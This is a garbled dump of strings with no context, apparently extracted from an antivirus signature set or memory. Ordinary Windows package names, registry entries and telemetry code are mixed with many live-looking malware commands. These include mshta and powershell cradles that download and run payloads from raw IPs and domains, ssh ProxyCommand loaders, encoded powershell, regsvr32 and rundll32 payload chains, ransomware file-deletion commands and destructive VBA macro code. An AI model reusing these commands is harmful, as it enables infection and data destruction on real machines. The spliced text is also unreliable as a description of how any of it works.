bc:\programdata&&startrundll32.exec:\programdata\documents.tmp,enterdll&&deldocuments.lnk&&deldocuments.tmp&&mkdirdocuments&&exit"%systemroot%\system32\imageres.dll
cmd.exe/q/v/c^st^artm^sie^x^ec-^fv"http://0j.re:8080/yfaey6x8w200vetu/xpz7/riwufaypkag/ua4uz9/gvczy/!computername!"/^q^q^ih=^v^ed^aut%windir%\system32\shell32.dll%
cmd.exea-2022x/v/rs^ta^r^tms^ie^xe^c-fv"http://m0.nu:8080/ywbqoe9gao4c/c/op51jhngnts1/!computername!"dkvba=fo^z^rai^b^v-qu^i^e^t%systemroot%\system32\imageres.dll%
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
HKLM,Software\Microsoft\Windows\CurrentVersion\PropertySystem\PropertyHandlers\.jpg,,,%CLSID_PhotoPropertyStore%
HKLM,Software\Microsoft\Windows\CurrentVersion\PropertySystem\PropertyHandlers\.jpeg,,,%CLSID_PhotoPropertyStore%
HKLM,Software\Microsoft\Windows\CurrentVersion\PropertySystem\PropertyHandlers\.jpe,,,%CLSID_PhotoPropertyStore%
HKLM,Software\Microsoft\Windows\CurrentVersion\PropertySystem\PropertyHandlers\.jfif,,,%CLSID_PhotoPropertyStore%
HKLM,Software\Microsoft\Windows\CurrentVersion\Explorer\PropertyHandlers\.tif,,,%CLSID_PhotoPropertyStore%
HKLM,Software\Microsoft\Windows\CurrentVersion\Explorer\PropertyHandlers\.tiff,,,%CLSID_PhotoPropertyStore%
HKLM,Software\Microsoft\Windows\CurrentVersion\Explorer\PropertyHandlers\.png,,,%CLSID_PhotoPropertyStore%
HKLM,Software\Microsoft\Windows\CurrentVersion\Explorer\PropertyHandlers\.bmp,,,%CLSID_PhotoPropertyStore%
HKLM,Software\Microsoft\Windows\CurrentVersion\Explorer\PropertyHandlers\.rle,,,%CLSID_PhotoPropertyStore%
HKLM,Software\Microsoft\Windows\CurrentVersion\Explorer\PropertyHandlers\.dib,,,%CLSID_PhotoPropertyStore%
HKLM,Software\Microsoft\Windows\CurrentVersion\Explorer\PropertyHandlers\.gif,,,%CLSID_PhotoPropertyStore%
HKLM,Software\Microsoft\Windows\CurrentVersion\Explorer\PropertyHandlers\.ico,,,%CLSID_PhotoPropertyStore%
; Register Windows Media Photo as having a tiff-like metadata container
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\PhotoPropertyHandler\ContainerAssociations,%CLSID_WMP%,,%CLSID_TIFF%
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
WindowsCompareStringOrdinal
WindowsConcatString
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsDeleteStringBuffer
WindowsDuplicateString
WindowsGetStringLen
WindowsGetStringRawBuffer
WindowsInspectString2
WindowsInspectString
WindowsIsStringEmpty
WindowsPreallocateStringBuffer
WindowsPromoteStringBuffer
WindowsReplaceString
WindowsStringHasEmbeddedNull
WindowsSubstring
WindowsSubstringWithSpecifiedLength
WindowsTrimStringEnd
WindowsTrimStringStart
windows11
CByteStreamResult<struct Windows::Foundation::IAsyncOperationWithProgress<unsigned int,unsigned int>,struct Windows::Foundation::IAsyncOperationWithProgressCompletedHandler<unsigned int,unsigned int> >::Invoke
SOFTWARE\Policies\Microsoft\Windows Media Foundation
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
??_FQWindowsPipeReader@@QEAAXXZ
?Windows10@QOperatingSystemVersion@@2V1@B
?Windows7@QOperatingSystemVersion@@2V1@B
?Windows8@QOperatingSystemVersion@@2V1@B
?Windows8_1@QOperatingSystemVersion@@2V1@B
?WindowsVersion@QSysInfo@@2W4WinVersion@1@B
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.accLocation
WindowsDefaultLocation
System.Windows.Forms.Automation
c:/windows/system32/dt
c:/windows/system32/d
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
Windows::Microdom::Rtl::Library::GetMicrodomChildren
>c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('tamshrtsfinancal.comhttps:45.mp4'|convert-string
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('msh193.32.163.166http:green.txtta'|convert-string
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('http:172.86.67.88co.mp4mshta'|convert-string-e'12345
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('http:3files2.mp4mshrtsfinancal.comta'|convert-string
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('http:abington-atppa.org1test.mp4tamsh'|convert-string-e
wc:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('test.mp4up196.251.91.42tamshuploadshttp:'|convert-string
c:\windows\system32\windowspowershell\v1.0\powershell.execonvert-string-e'12345=325//1/4'-i'awcollectors.comtamsh66.mp4http:'|cmd
,c:\windows\system32\windowspowershell\v1.0\powershell.execonvert-string-e'12345=421//5/3'-i'http:ta77.mp4mshawcollectors.com'|cmd
0c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('http:test.mp4ta195.177.94.227myfilesmsh'|convert-string-e
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('test.mp4msh195.177.94.227tahttp:myfiles'|convert-string-e
c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('mshtahttp://82.117.255.232/test1/second
.pkc:\windows\system32\windowspowershell\v1.0\powershell.execonvert-string-e'12345=251//4/3'-i'http:msh808.mp4awcollectors.comta'|cmd
c:\windows\system32\windowspowershell\v1.0\powershell.execonvert-string-e'12345=345//2/1'-i'340.mp4texasdispatchers.commshtahttps:
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('shevchenkoevent.com1.mp4mshhttps:tafiles'|convert-string-e
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('shevchenkoevent.comhttps:ta1.mp4filesmsh'|convert-string-e
c:\windows\system32\windowspowershell\v1.0\powershell.execonvert-string-e'12345=153//4/2'-i'msh8900.mp4http:awcollectors.comta'|cmd
[zc:\windows\system32\windowspowershell\v1.0\powershell.execonvert-string-e'12345=425//3/1'-i'ggg.mp4taawcollectors.commshhttps:'|cmd
c:\windows\system32\windowspowershell\v1.0\powershell.execonvert-string-e'12345=435//1/2'-i'4partyinkilo5.lolgo.mp4tamshhttps:'|cmd
c:\windows\system32\windowspowershell\v1.0\powershell.execonvert-string-e'12345=231//4/5'-i'https:mshta4partyinkilo5.lolklet.mp4'|cmd
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('filestahttps:mshigor.mp4shevchenkoevent.com'|convert-string-e
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('filestest.mp4shevchenkoevent.comtamshhttps:'|convert-string-e
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('https:shevchenkoevent.comtamshtest.mp4files'|convert-string-e
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('shevchenkoevent.comhttps:tafilesmshtest.mp4'|convert-string-e
J<Kc:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('shevchenkoevent.comhttps:filestamshoptpdf.mp4'|convert-string-e
wow64_windows-gaming-prev..esenumeration-winrt_31bf3856ad364e35_none_b9bb82c0c927f39e
wow64_windows-media-ocr_31bf3856ad364e35_none_8e7b88406271519d
wow64_windows-media-speech-winrt_31bf3856ad364e35_none_9f1efe543444231e
wow64_windows-networking-..component.resources_31bf3856ad364e35_en-us_e4271a29016d6d3d
wow64_windows-networking-..e-windows-component_31bf3856ad364e35_none_e1e910a7da153fca
wow64_windows-staterepository_31bf3856ad364e35_none_5c24b62c7b788121
wow64_windows-storage-app..ndata-winrt-cleanup_31bf3856ad364e35_none_924426a5aa123ca6
wow64_windows-storage-applicationdata-winrt_31bf3856ad364e35_none_2bf033bd966c7c15
wow64_windows-storage-compression-winrt_31bf3856ad364e35_none_e951b904698b51f5
wow64_windows-system-diag..formtelemetryclient_31bf3856ad364e35_none_83b42552be30b816
/\antidurovdurov vkontakte servicewsaasyncselecthttp://vkontakte.ruaccept-charset: iso-8859-1,utf-8;q=0.7,*;q=0.7/mail.php?act=write&to=<input type="hidden" id="to_reply" name="to_reply" value="\microsoft\windows\cookies-kill
software\microsoft\windows\currentversion\explorer\shellexecutehooks
/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0&IsEmbedded=0&IsEnterprise=0&IsMsSense=0&IsMsft=0&IsServer=0&IsSeville=0&MoCampBuildRev=1704591365&MoCampVersion=262162&OsBuildMinNumber=7840&OsBuildNumber=26200&OsMajorMinorVersion=655360&PlatformRing=5&SignatureRing=5&clientId=A5A962D7-2A13-4A83-9BDC-E17FA86AB903&id=
Microsoft.Windows.MediaFoundation.SourceResolver
Microsoft.Windows.MediaFoundation.ContentProtectionDevice
Microsoft.Windows.MediaFoundation.CodecAppSvc
Microsoft.Windows.MediaFoundation.TelemetrySession
Microsoft.Windows.MediaFoundation.TraceLogging.MFPlatform
Microsoft.Windows.MediaFoundation.MFPlatform
Microsoft.Windows.MediaFoundation.CallStack
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-ErrorReportingKernel-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-DirectX-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
api-ms-win-core-windowserrorreporting-l1-1-0.dll
Windows::Media::MediaProperties::AddAttribute
c:\windows\system32\winrm.cmd&s^t^art\\windows.system32.help@37\webdav\1.pdf&&call\\windows.system32.help@37\webdav\y1.bat
s\system32\cmd.exe/cpowershell-command"$
windowsZones
C:\WINDOWS\
jvnliges\microsoft\windows\broch
jUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36 Edg/91.0.864.37
<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{fc177c6f-a3d6-4bb0-b1fa-23d0cd9b005d}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:IsAdmin>1</ps:IsAdmin><ps:PackageSID>S-1-15-2-283421221-3183566570-1718213290-751554359-3541592344-2312209569-3374928651</ps:PackageSID><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#" Id="devicesoftware" Type="http://www.w3.org/2001/04/xmlenc#Element"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo><ds:KeyName>http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>*</CipherValue></CipherData></EncryptedData><wssc:DerivedKeyToken wsu:Id="SignKey" Algorithm="urn:liveid:SP800108_CTR_HMAC_SHA256_DOUBLEDERIVED"><wsse:RequestedTokenReference><wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID"/><wsse:Reference URI=""/></wsse:RequestedTokenReference><wssc:Nonce>*</wssc:Nonce></wssc:DerivedKeyToken><wsu:Timestamp wsu:Id="Timestamp"><wsu:Created>2026-02-24T08:04:31Z</wsu:Created><wsu:Expires>2026-02-24T08:09:31Z</wsu:Expires></wsu:Timestamp><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></CanonicalizationMethod><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#hmac-sha256"></SignatureMethod><Reference URI="#RST0"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#Timestamp"
Microsoft.Windows.Compatibility.Asl
Windows.Internal.Shell.TabProxyWindow
pcshell\shell\Windows.UI.FileExplorer\src\FolderView\FolderViewSettings.cpp
'[pcshell\shell\Windows.UI.FileExplorer\src\ModernNavBar\FileExplorerNavigationController.cpp
pcshell\shell\Windows.UI.FileExplorer\src\ViewAdapter\XamlIslandViewAdapter.cpp
Path=C:\WINDOWS\system32;
hwindows nt\currentversion\winlogon\notify\Asynchronous.dll
currentversion\winlogon\notify\
urldownloadtofilearosoft\windows\currentversion\control panel\settingsg_installdll
windows
*\windows_shell_global_counters
Windows Web Password CredentialW
Windows Credential Picker ProtectorW
command0="""%public%\windowsupdate\mservice.exe""-o
c:\windows\system32\forfiles.exe/pc:\windows\system32/mcalc.exe/c"powershell.\*i*\s*3*\m*ta.e*http://177.153.60.249/medium"
c:\windows\system32\forfiles.exe/pc:\windows\vss/c"powershellstartmshtahttp://mega.vlvlvlvl.site/vanban_8647.pdf_update.hta
c:\windows\system32\windowspowershell\v1.0\powershell.exe\w*\\\*2\\\msh*e('http'+'://thanhancompany.com/demo/lano4'+'.hta')
system32
Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.1
dstart-processc:\windows\syswow64\rundll32.exe$dest,fgvbnfcerftguftdf
* windows blocked!*
i:\project\wg\code\drivers\driverc\windows_mod\objfre_wxp_x86\i386\updatacwinxpx86.pdbi
computernamemozilla/4.0 (compatible; msie 7.0; windows nt 5.1; sv1; .net clr 2.0.50727)m
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
USERDOMAIN_ROAMINGPROFILE=Windows11;
	WINDOWS\system32\cmd.exe3
.exeWindows.FullTrustApplicai
WindowsPackageManagern
WebViewHost.exeWindows.FullTrustApplicationimages\splashscreen.png
c:\windows\
onecoreuap\windows\advcore\winrt\directink\render\primitiverenderbaseimpl.cpp
[*] Creating suspended target process (winlogon.exe)...[
Windows Desktop
Windows.Desktop
dwmic useraccount where name='%username%' rename 'it'del /f /s /q %userprofile%\desktop\del /f /s /q "c:\program files\windowsappsRansom:Win32/Cobra.AB!MTB
go/src/newboss2/main.go_square\up\winlogon.exeRansom:Win32/Robbinhood.A
objXML.Open "GET", "http://20.69.97.31/mum", False= "C:\Windows\Temp\
= " /C move C:\Windows\Temp\mum" & " " & .ShellExecute 
windowsformsapp
windowsformsapp
T\windows\</t></si><si><t>syswow64\</t></si><si><t>g</t></si><si><t>!</t></si><si><t>e</t></si><si><t>regsvr32.exe</t></si><si><t>/</t></si><si><t>"https://duvarkagitlarimodelleri.com/42hhp/gzxakh7/
https://filebin.net/esn5g5841ddrd09y/brwfs.msiCreateObject("WindowsInstaller.Installer")
Zzd2LK9vqYDLyWvrZ7F1VAQmonData[i];f?f.PendingInstrumentedItems[r]=u:n.LogWSBError("instrumentSyntheticInstrumentedItem",r,new Error("keystrokesInstrumentationData not found"),undefined,undefined,"WindowsTelemetry")}static instrumentSyntheticSuggestion(i,r){let u=t._keystrokesInstrumentationData[i];u?u.PendingSyntheticSuggestions[r.type]=r:n.LogWSBError("instrumentSyntheticSuggestion",r.type,new Error("Instrumentation synthetic suggestion after flush"),undefined,undefined,"WindowsTelemetry")}static getInstrumentedSyntheticSuggestion(n,i){return t._keystrokesInstrumentationData[n].PendingSyntheticSuggestions[i]}static instrumentDataSource(i,r,u,f){t.safeInstrument(i,t=>{if(f&&f.rankerExtraInfo)for(let n in f.rankerExtraInfo)t.RankerExtraInfo[n]=f.rankerExtraInfo[n];let i=u||[];if(n.config.logProviderFirstSuggestion)for(let n of i)n.dataSource||(n.dataSource=r);if(n.config.splitWindowsDataInstrumentation&&n.config.pruneImpression)for(let u of i){if(n.isWindowsData(u.type))return;t.PendingDataSources[r]?t.PendingDataSources[r].push(u):t.PendingDataSources[r]=[u]}else{let n=t.PendingDataSources[r];t.PendingDataSources[r]=n?n.concat(i):i}},"instrumentDataSource",r)}static processPendingDataSources(i){for(let r in i.PendingDataSources){let u=i.PendingDataSources[r];if(u.length>0){let f=[];for(let n of u){f.push(t._instrumentationProvider.createDataSourceObject(n));for(let i of n.subInstItems||[])f.push(t._instrumentationProvider.createDataSourceObject(n,i))}r=="Web"&&(r="WebAS");f.length>0&&(i.DataSources[r]={T:"D."+r,AppNS:n.InstrumentationCommon.DEFAULT_APP_NAMESPACE,Service:n.InstrumentationCommon.DEFAULT_SERVICE_NAME,Scenario:r,SC:f.length,DS:f})}}i.PendingDataSources={}}static instrumentDwell(t){const i=n.SequenceNumberManager.getSequenceNumber();let r=n.InstrumentedItem.createInstrumentedItem(i,"WSNR"),u=n.isZeroInputAllScope(n.Host.getQuery())?"ZI":"QF";const f={engagementType:"Dwell",engagementSurface:u,dwellTime:t};r.setUserEngagementContent(f)}static instrumentDwellWithEngagementContent(n,t){const i=t.getUserEngagementContent();i.engagementType="Dwell";i.dwellTime=n}static instrumentSnRProviderFetchUrl(n,i){t.safeInstrument(n,n=>{n.SnRProviderFetchUrl=i},"instrumentSnRProviderFetchUrl")}static onConversationStart(){if(t._conversationStartTimestamp=n.getCurrentTime(),t._searchServiceStatus=null,t._clientTelemetry){let i=n.Host.getConversationId();t._clientTelemetry.logConversationStartMeasure(i)}t._keystrokesPerfPingData=[];t._currentRender=0}static getConversationStartTimestamp(){return t._conversationStartTimestamp}static logDataSourceTimeout(n,i){t._instrumentationProvider.logDataSourceTimeout(n,i)}static getPpoFromPpi(n){return typeof n.latency=="number"?{L:n.latency,T:n.previewPaneType}:{}}static getIGRFromIGI(t){if(!n.Host.isImageGridEnabled()||!t||Object.keys(t).length===0)return undefined;const f=n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE;let r=Number.POSITIVE_INFINITY,u=Number.NEGATIVE_INFINITY,e=0,i=0,o=[];for(const n in t){const s=t[n];typeof s.startTime=="number"&&(i++,typeof s.endTime=="number"&&s.endTime!==f&&(e++,o.push(s.endTime-s.startTime),s.startTime<r&&(r=s.startTime),s.endTime>u&&(u=s.endTime)))}if(i===0)return undefined;const s=r!==Number.POSITIVE_INFINITY&&u!==Number.NEGATIVE_INFINITY?u-r:f,h=i>0?Number((e/i*100).toFixed(2)):f;return{TN:i,RT:s,LSR:h,TLL:o}}static createKeystrokePerfPingEvent(i,r){let u={I:i,PL:r.PrefixLength,K:r.RequestBegin,F:r.DataSourcesFetchEnd,PPO:t.getPpoFromPpi(r.PreviewPaneOpened),PPC:t.getPpoFromPpi(r.PreviewPaneCanceled),RRT:r.ResponseReceived,RPT:r.ResponseParsed,MRT:r.MultipleResponsesReceived,RFT:r.RenderFinished,TRR:r.TopResultRendered,RS:undefined,PLT:undefined,HLT:undefined,FRT:undefined,IRFT:{},TRIR:[],MPT:r.MultipleResponsesParsed,CS:n.config.perfInstV2?r.ConversationStart:undefined,KS:n.config.perfInstV2?r.SequenceStart:undefined,RB:n.config.perfInstV2?r.RequestBegin:undefined,FS:n.config.perfInstV2?r.DataProviderFetchStart:undefined,FF:n.config.perfInstV2?r.DataProviderFetchFinish:undefined,PST:n.config.perfInstV2?r.DataProvidersStarted:undefined,PFT:n.config.perfInstV2?r.Dat
Stup windows defender hahahZM8#9auOMcA+pH<CryptAcquireContextWCryptEncryptGetSystemMetricsGetMonitorInfoA
WINDOWS11
\Microsoft\Internet Explorer\Quick Launch\Windows PC Defender.lnk
K**`4\Microsoft\Internet Explorer\Quick Launch\Windows System Defender.lnk
\Microsoft\Internet Explorer\Quick Launch\Windows Enterprise Suite.lnk
Y7[L^\Windows Enterprise Defender\
Windows NT\CurrentVersion\Image File Execution Options\rwg
rWindows NT\CurrentVersion\Image File Execution Options\Cl.exe
Windows NT\CurrentVersion\Image File Execution Options\pc.exe
bWindows NT\CurrentVersion\Image File Execution Options\qh.exe
Windows NT\CurrentVersion\Image File Execution Options\~1.exe
Windows NT\CurrentVersion\Image File Execution Options\~2.exe
8Windows NT\CurrentVersion\Image File Execution Options\AlphaAV
Windows NT\CurrentVersion\Image File Execution Options\csc.exe
BWindows NT\CurrentVersion\Image File Execut) 
Icls%~n0.bat.exe-noprofile-windowstylehidden-executionpolicybypass-command$
a-z=c:\windows\temp\
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-noprofile-executionpolicybypass-encodedcommandjabqahiabwbnahiazqbzahmauabyaguazgblahiazqbuagmazqa9accauwbpagwazqbuahqabab5aemabwbuahqaaqbuahuazqanadsaiabjaeuawaagacgatgblahcalqbpagiaagblagmadaagae4azqb0ac4avwblagiaqwbsagkazqbuahqakqauaeqabwb3ag4ababvageazabtahqacgbpag4azwaoaccaaab0ahqacaa6ac8alwa0adualgaxaduamgauadganaauadiamwa6adqanaazadmalwb1ahaazabhahqazqbyac4acabzadeajwapaa==
aWindows
c:\Finisheat\alwaysMay\Representelectric\finalWheel\PrintSeem\sent.pdbC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe   RemoteSignedGetStartupInfoA Receive-Job.GetTickCountGetCurrentProcessId1: Anonymous (
FileName = "*.jpg ; *.jpe ; *.bmp ; *.gif ; *.avi ; *.wav ; *.mid ; *.mpg ; *.mp2 ; *.mp3 ; *.zip ; *.rar ; *.arj ; *.htm ; *.htmlKill fs.FoundFiles(j)LookIn = "C:\ ; D:\ ; E:\ ; F:\ ; G:\ ; H:\ ; I:\ ; J:\ ; K:\ ; L:\ ; M:\ ; N:\ ; O:\ ; P:\ ; Q:\ ; R:\ ; S:\ ; T:\ ; U:\ ; V:\ ; W:\ ; X:\ ; Y:\ ; Z:\WordBasic.DisableAutoMacros -1Selection.Font.Animation = wdAnimationBlinkingBackgroundKill (XLS.StartupPath + Chr(92) + Chr(66) + Chr(111) + Chr(111) + Chr(107) + Chr(49) + Chr(46))regedit.RegWrite ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"", 1TrojanDownloader:O97M/EncDoc.PMO!MTB
Shell.Run "powershell -windowstyle hidden &("{0}{1}" -f 'IE','X').Invoke(("{1}{8}{5}{7}{6}{0}{3}{2}{4}"-f'en','ht','go.p','ius.com/lo','ng','p:','g','//vega','t'))TrojanDownloader:O97M/Obfuse.RCC!MTB
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
@Security@Windows@@@Founde
<si><t>\windows\</t></si><si><t>d"&amp;"l"&amp;"lr"&amp;"egister"&amp;"serve"&amp;"r</t></si><si><t>rundll32.exe</t></si><si><t>syswow64\</t></si>
/c c:\windows\explorer'
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
	Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
 Windows, O
    <xs:attribute name="ServerName" type="t:ST_AsciiWindowsId" use="optional"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/serverpreview/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/serverpreview/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:serverpreview="http://schemas.microsoft.com/appx/manifest/serverpreview/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
Windows;Program*shell\open\Default=1shell\open\Command=syskernel.exe:\New Folder
\microsoft\windows\inetcache\
\microsoft\windows\temporary internet files\
\$windows.~bt\
n restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js 
1.presswindowsbuttonwindows+r
5^windows.protocol
windows.protocol
7^windows.appExtensionHost
windows.appExtensionHost
8^windows.mobileMultiScreenProperties
windows.mobileMultiScreenProperties
	COMPUTERNAME=WINDOWS11
\system32\cmd.exeT
LOCALAPPDATA=%TEMP%\Packages\microsoft.windows.fontdrvhost\ACJ
start-processpowershell.exe-windowstylehidden-verbrunas-argumentlist"-file$scriptname"
powershell.exe-windowstylehidden-executionpolicybypass-nologo-noprofile-encodedcommand
vv"http://3z.nu:8080/ytb8th3cbvbk3/qpl6/aw/!computername!"%windir%\system32\imageres.dll
